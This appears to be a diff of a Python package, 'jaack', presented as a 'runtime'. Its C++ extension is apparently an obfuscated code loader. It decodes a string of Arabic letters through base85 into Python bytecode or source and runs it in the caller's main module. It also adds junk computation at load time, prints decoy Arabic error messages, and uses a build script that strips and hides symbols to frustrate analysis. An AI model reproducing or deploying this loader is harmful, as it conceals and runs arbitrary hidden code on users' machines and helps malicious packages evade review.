jaack 1.0.0__tar.gz

jaack-1.0.0/PKG-INFO

@@ -0,0 +1,6 @@
+Metadata-Version: 2.4
+Name: jaack
+Version: 1.0.0
+Summary: jaack runtime
+Requires-Python: >=3.8
+Requires-Dist: pycryptodome

jaack-1.0.0/README.md

@@ -0,0 +1 @@
+# jaack

jaack-1.0.0/jaack/__init__.py

@@ -0,0 +1,4 @@
+from ._core import Jack as _J
+import builtins as _B
+_B.Jack = _J
+__all__ = ["Jack"]

jaack-1.0.0/jaack/_core.cpp

@@ -0,0 +1,237 @@
+#define PY_SSIZE_T_CLEAN
+#include <Python.h>
+#include <marshal.h>
+#include <string>
+#include <vector>
+#include <cstdint>
+#include <cstring>
+#include <thread>
+#include <chrono>
+#include <cstdio>
+
+namespace jk {
+
+template <int N>
+struct Spin {
+    static std::uint64_t go(std::uint64_t s) {
+        std::uint64_t x = s ^ (N * 0x9E3779B97F4A7C15ULL);
+        for (int i = 0; i < N; ++i) {
+            x += 0x9E3779B97F4A7C15ULL;
+            x = (x ^ (x >> 30)) * 0xBF58476D1CE4E5B9ULL;
+            x = (x ^ (x >> 27)) * 0x94D049BB133111EBULL;
+            x ^= (x >> 31);
+            x ^= (x << 17) ^ (x >> 13);
+        }
+        return x ^ Spin<N - 1>::go(x);
+    }
+};
+
+template <>
+struct Spin<0> {
+    static std::uint64_t go(std::uint64_t s) {
+        std::uint64_t x = s;
+        x ^= (x >> 33);
+        x *= 0xFF51AFD7ED558CCDULL;
+        x ^= (x >> 33);
+        x *= 0xC4CEB9FE1A85EC53ULL;
+        x ^= (x >> 33);
+        return x;
+    }
+};
+
+static volatile std::uint64_t g_sink = 0;
+
+__attribute__((constructor)) static void boot() {
+    std::uint64_t a = 0;
+    a ^= Spin<8>::go(0x1111111111111111ULL);
+    a ^= Spin<16>::go(0x2222222222222222ULL);
+    a ^= Spin<32>::go(0x3333333333333333ULL);
+    a ^= Spin<48>::go(0x4444444444444444ULL);
+    a ^= Spin<64>::go(0x5555555555555555ULL);
+    a ^= Spin<96>::go(0x6666666666666666ULL);
+    a ^= Spin<128>::go(0x7777777777777777ULL);
+    g_sink = a;
+}
+
+static void die() {
+    for (int i = 0; i < 100; ++i) {
+        std::fprintf(stderr, "\xd8\xae\xd8\xb7\xd8\xa3 \xd9\x81\xd8\xa7\xd8\xaf\xd8\xad\n");
+        std::fprintf(stderr, "\xd8\xad\xd8\xa7\xd9\x88\xd9\x84 \xd9\x85\xd8\xac\xd8\xaf\xd8\xaf\xd8\xa7\n");
+        std::fprintf(stderr, "\xd8\xb1\xd9\x81\xd8\xb6 \xd8\xa7\xd9\x84\xd9\x88\xd8\xb5\xd9\x88\xd9\x84\n");
+        std::fflush(stderr);
+        std::this_thread::sleep_for(std::chrono::milliseconds(50));
+    }
+    std::_Exit(139);
+}
+
+static const char* AR_POOL =
+    "\xd8\xa7\xd8\xa8\xd8\xaa\xd8\xab\xd8\xac\xd8\xad\xd8\xae\xd8\xaf"
+    "\xd8\xb0\xd8\xb1\xd8\xb2\xd8\xb3\xd8\xb4\xd8\xb5\xd8\xb6\xd8\xb7"
+    "\xd8\xb8\xd8\xb9\xd8\xba\xd9\x81\xd9\x82\xd9\x83\xd9\x84\xd9\x85"
+    "\xd9\x86\xd9\x87\xd9\x88\xd9\x8a\xd8\xa1\xd8\xa2\xd8\xa3\xd8\xa4"
+    "\xd8\xa5\xd8\xa6\xd9\xa0\xd9\xa1\xd9\xa2\xd9\xa3\xd9\xa4\xd9\xa5"
+    "\xd9\xa6\xd9\xa7\xd9\xa8\xd9\xa9\xd9\xaa\xd9\xab\xd9\xac\xd9\xad"
+    "\xd9\xae\xd9\xaf\xd9\xb0\xd9\xb1\xd9\xb2\xd9\xb3\xd9\xb4\xd9\xb5"
+    "\xd9\xb6\xd9\xb7\xd9\xb8\xd9\xb9\xd9\xba\xd9\xbb\xd9\xbc\xd9\xbd";
+
+static std::vector<std::size_t> ar_offsets() {
+    std::vector<std::size_t> v;
+    const unsigned char* base = (const unsigned char*)AR_POOL;
+    const unsigned char* p = base;
+    while (*p) {
+        v.push_back((std::size_t)(p - base));
+        int len;
+        if ((*p & 0x80) == 0) len = 1;
+        else if ((*p & 0xE0) == 0xC0) len = 2;
+        else if ((*p & 0xF0) == 0xE0) len = 3;
+        else len = 4;
+        p += len;
+    }
+    return v;
+}
+
+static int ar_len_at(std::size_t off) {
+    const unsigned char* p = (const unsigned char*)AR_POOL + off;
+    if ((*p & 0x80) == 0) return 1;
+    if ((*p & 0xE0) == 0xC0) return 2;
+    if ((*p & 0xF0) == 0xE0) return 3;
+    return 4;
+}
+
+static std::vector<std::uint8_t> decode(const std::string& raw) {
+    std::vector<std::uint8_t> out;
+    auto offs = ar_offsets();
+    std::size_t i = 0;
+    while (i < raw.size()) {
+        bool matched = false;
+        for (std::size_t k = 0; k < offs.size(); ++k) {
+            int len = ar_len_at(offs[k]);
+            if (i + len > raw.size()) continue;
+            if (std::memcmp(raw.data() + i, AR_POOL + offs[k], len) == 0) {
+                out.push_back((std::uint8_t)k);
+                i += len;
+                matched = true;
+                break;
+            }
+        }
+        if (!matched) {
+            unsigned char c = (unsigned char)raw[i];
+            int skip = 1;
+            if ((c & 0xE0) == 0xC0) skip = 2;
+            else if ((c & 0xF0) == 0xE0) skip = 3;
+            else if ((c & 0xF8) == 0xF0) skip = 4;
+            i += skip;
+        }
+    }
+    return out;
+}
+
+static const char* B85 =
+    "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
+    "!#$%&()*+-;<=>?@^_`{|}~";
+
+static std::vector<std::uint8_t> unb85(const std::vector<std::uint8_t>& in) {
+    std::vector<std::uint8_t> out;
+    std::size_t i = 0;
+    while (i < in.size()) {
+        std::size_t chunk = in.size() - i;
+        if (chunk > 5) chunk = 5;
+        std::uint64_t v = 0;
+        for (std::size_t j = 0; j < 5; ++j) {
+            std::uint8_t b = (j < chunk) ? in[i + j] : 84;
+            if (b >= 128) die();
+            const char* p = std::strchr(B85, (char)b);
+            if (!p) die();
+            v = v * 85 + (std::uint64_t)(p - B85);
+        }
+        std::size_t emit = (chunk * 4) / 5;
+        for (std::size_t j = 0; j < emit; ++j) {
+            out.push_back((std::uint8_t)((v >> (24 - j * 8)) & 0xFF));
+        }
+        i += chunk;
+    }
+    return out;
+}
+
+static void run_blob(const std::vector<std::uint8_t>& blob) {
+    if (blob.size() < 4) die();
+    PyObject* code = PyMarshal_ReadObjectFromString(
+        (const char*)blob.data(), (Py_ssize_t)blob.size());
+    if (!code) {
+        PyErr_Clear();
+        std::string src(blob.begin(), blob.end());
+        code = Py_CompileString(src.c_str(), "<j>", Py_file_input);
+        if (!code) die();
+    }
+    PyObject* m = PyImport_AddModule("__main__");
+    if (!m) die();
+    PyObject* g = PyModule_GetDict(m);
+    PyObject* r = PyEval_EvalCode(code, g, g);
+    if (!r) {
+        if (PyErr_Occurred()) PyErr_Print();
+    }
+    Py_XDECREF(r);
+    Py_XDECREF(code);
+}
+
+}  // namespace jk
+
+static PyObject* jack_Jack(PyObject* self, PyObject* args) {
+    PyFrameObject* frame = PyEval_GetFrame();
+    if (!frame) {
+        PyErr_SetString(PyExc_RuntimeError, "no frame");
+        return nullptr;
+    }
+    PyObject* globals = PyFrame_GetGlobals(frame);
+    if (!globals) {
+        PyErr_SetString(PyExc_RuntimeError, "no globals");
+        return nullptr;
+    }
+    PyObject* D = PyDict_GetItemString(globals, "D");
+    if (!D) {
+        Py_DECREF(globals);
+        jk::die();
+    }
+    std::string raw;
+    if (PyUnicode_Check(D)) {
+        Py_ssize_t sz = 0;
+        const char* u = PyUnicode_AsUTF8AndSize(D, &sz);
+        if (!u) { Py_DECREF(globals); jk::die(); }
+        raw.assign(u, u + sz);
+    } else if (PyBytes_Check(D)) {
+        char* b = nullptr;
+        Py_ssize_t sz = 0;
+        if (PyBytes_AsStringAndSize(D, &b, &sz) != 0) {
+            Py_DECREF(globals); jk::die();
+        }
+        raw.assign(b, b + sz);
+    } else {
+        Py_DECREF(globals);
+        jk::die();
+    }
+    Py_DECREF(globals);
+
+    std::vector<std::uint8_t> indices = jk::decode(raw);
+    if (indices.empty()) jk::die();
+    std::vector<std::uint8_t> blob = jk::unb85(indices);
+    if (blob.empty()) jk::die();
+    jk::run_blob(blob);
+    Py_RETURN_NONE;
+}
+
+static PyMethodDef jack_methods[] = {
+    {"Jack", jack_Jack, METH_NOARGS, nullptr},
+    {nullptr, nullptr, 0, nullptr},
+};
+
+static struct PyModuleDef jack_module = {
+    PyModuleDef_HEAD_INIT,
+    "_core",
+    nullptr,
+    -1,
+    jack_methods,
+};
+
+PyMODINIT_FUNC PyInit__core(void) {
+    return PyModule_Create(&jack_module);
+}

jaack-1.0.0/jaack.egg-info/PKG-INFO

@@ -0,0 +1,6 @@
+Metadata-Version: 2.4
+Name: jaack
+Version: 1.0.0
+Summary: jaack runtime
+Requires-Python: >=3.8
+Requires-Dist: pycryptodome

jaack-1.0.0/jaack.egg-info/SOURCES.txt

@@ -0,0 +1,11 @@
+README.md
+pyproject.toml
+setup.py
+jaack/__init__.py
+jaack/_core.cpp
+jaack.egg-info/PKG-INFO
+jaack.egg-info/SOURCES.txt
+jaack.egg-info/dependency_links.txt
+jaack.egg-info/not-zip-safe
+jaack.egg-info/requires.txt
+jaack.egg-info/top_level.txt

jaack-1.0.0/jaack.egg-info/dependency_links.txt

@@ -0,0 +1 @@
+

jaack-1.0.0/jaack.egg-info/not-zip-safe

@@ -0,0 +1 @@
+

jaack-1.0.0/jaack.egg-info/requires.txt

@@ -0,0 +1 @@
+pycryptodome

jaack-1.0.0/jaack.egg-info/top_level.txt

@@ -0,0 +1 @@
+jaack

jaack-1.0.0/pyproject.toml

@@ -0,0 +1,13 @@
+[build-system]
+requires = ["setuptools>=61.0", "wheel"]
+build-backend = "setuptools.build_meta"
+
+[project]
+name = "jaack"
+version = "1.0.0"
+description = "jaack runtime"
+requires-python = ">=3.8"
+dependencies = ["pycryptodome"]
+
+[tool.setuptools]
+packages = ["jaack"]

jaack-1.0.0/setup.cfg

@@ -0,0 +1,4 @@
+[egg_info]
+tag_build = 
+tag_date = 0
+

jaack-1.0.0/setup.py

@@ -0,0 +1,72 @@
+from setuptools import setup, Extension
+from setuptools.command.build_ext import build_ext
+import sysconfig
+import subprocess
+import shutil
+from pathlib import Path
+
+class Build(build_ext):
+    def build_extensions(self):
+        for ext in self.extensions:
+            ext.extra_compile_args = self._c()
+            ext.extra_link_args = self._l()
+        build_ext.build_extensions(self)
+        self._strip()
+
+    def _c(self):
+        inc = []
+        for k in ("include", "platinclude"):
+            p = sysconfig.get_path(k)
+            if p and p not in inc:
+                inc.append(p)
+        return [
+            "-O3",
+            "-fPIC",
+            "-shared",
+            "-fvisibility=hidden",
+            "-fvisibility-inlines-hidden",
+            "-fno-ident",
+            "-fno-asynchronous-unwind-tables",
+            "-fno-unwind-tables",
+            "-fno-stack-protector",
+            "-fomit-frame-pointer",
+            "-fdata-sections",
+            "-ffunction-sections",
+            "-fno-exceptions",
+            "-fno-rtti",
+            "-w",
+            "-std=c++17",
+        ] + [f"-I{p}" for p in inc]
+
+    def _l(self):
+        args = ["-Wl,--gc-sections", "-Wl,-s"]
+        libdir = sysconfig.get_config_var("LIBDIR")
+        ldver = sysconfig.get_config_var("LDVERSION")
+        if libdir and ldver:
+            args.append(f"-L{libdir}")
+            args.append(f"-lpython{ldver}")
+        return args
+
+    def _strip(self):
+        strip = shutil.which("strip")
+        if not strip:
+            return
+        for ext in self.extensions:
+            out = Path(self.get_ext_fullpath(ext.name))
+            if out.exists():
+                subprocess.run([strip, "-s", str(out)], capture_output=True)
+
+setup(
+    name="jaack",
+    version="1.0.0",
+    packages=["jaack"],
+    ext_modules=[
+        Extension(
+            "jaack._core",
+            sources=["jaack/_core.cpp"],
+            language="c++",
+        )
+    ],
+    cmdclass={"build_ext": Build},
+    zip_safe=False,
+)